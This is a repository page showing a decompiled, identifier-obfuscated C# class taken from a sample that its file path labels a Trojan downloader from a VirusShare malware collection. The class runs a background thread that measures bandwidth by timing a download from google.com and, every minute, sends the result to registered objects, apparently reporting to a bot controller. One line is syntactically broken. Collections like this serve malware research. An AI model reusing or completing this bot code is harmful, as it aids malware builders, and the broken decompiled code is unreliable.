Files
2022-08-18 06:28:56 -05:00

74 lines
2.6 KiB
C#
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
// Decompiled with JetBrains decompiler
// Type: ᥟޱഁेࠃᵷᣚ.ᑏᨚݺ۴ᑈ
// Assembly: lgy, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: F6858297-EDCC-46A7-BF64-CBC6BE6B3CD4
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.Crypted.ej-8021b1adb21670f837224cd99ccee8599abd7a84c7c3cf7b87df9da753a7739c.exe
using System;
using System.Collections.Generic;
using System.Net;
using System.Text;
using System.Threading;
namespace ޱ
{
internal class ݺ۴
{
private static Thread \u09B5દտஈᛘč;
private static List<\u08F6ᝀ\u08C3> ӓЊ = new List<\u08F6ᝀ\u08C3>();
public static void ϜβԢ(\u08F6ᝀ\u08C3 _param0) => ݺ۴.ӓЊ.Add(_param0);
public static void ت\u1F16ሏரᡢ͕ᩞ(\u08F6ᝀ\u08C3 _param0) => ݺ۴.ӓЊ.Remove(_param0);
public static void \u0AE9ሢ\u0E75()
{
ݺ۴.\u09B5દտஈᛘč = new Thread(new ThreadStart(ݺ۴.Вì));
ݺ۴.\u09B5દտஈᛘč.Start();
}
private static void Вì()
{
WebClient webClient = new WebClient();
while (true)
{
while (ݺ۴.ӓЊ.Count >= 1)
{
ݺ۴.\u0897Ӏ();
for (int index = 0; index < ݺ۴.ӓЊ.Count; ++index)
{
if (index < ݺ۴.ӓЊ.Count && ݺ۴.ӓЊ[index] != null && ݺ۴.ӓЊ[index].)
ݺ۴.ӓЊ[index].ӯȉڛ(new \u173AݎᮜఝỼᔩ\u0AFEҊᇅ(\u08F6ᝀ\u08C3.̛\u02E6.\u0E61, Encoding.Default.GetBytes(ݺ۴.\u0897Ӏ())).\u1A76Ἢཿ());
}
Thread.Sleep(TimeSpan.FromSeconds(60.0));
}
Thread.Sleep(5000);
}
}
public static void \u0A4DงᆦӮᥓᏰ()
{
if (ݺ۴.\u09B5દտஈᛘč == null)
return;
ݺ۴.\u09B5દտஈᛘč.Abort();
}
private static string \u0897Ӏ()
{
try
{
WebClient webClient = new WebClient();
double tickCount = (double) Environment.TickCount;
webClient.DownloadData("http://google.com/");
double num = Math.Floor((double) Environment.TickCount - tickCount) / 1000.0;
Math.Round(num, 0);
return Math.Round(1024.0 / num).ToString() + " KB\\Sec";
}
catch
{
}
return "Error";
}
}
}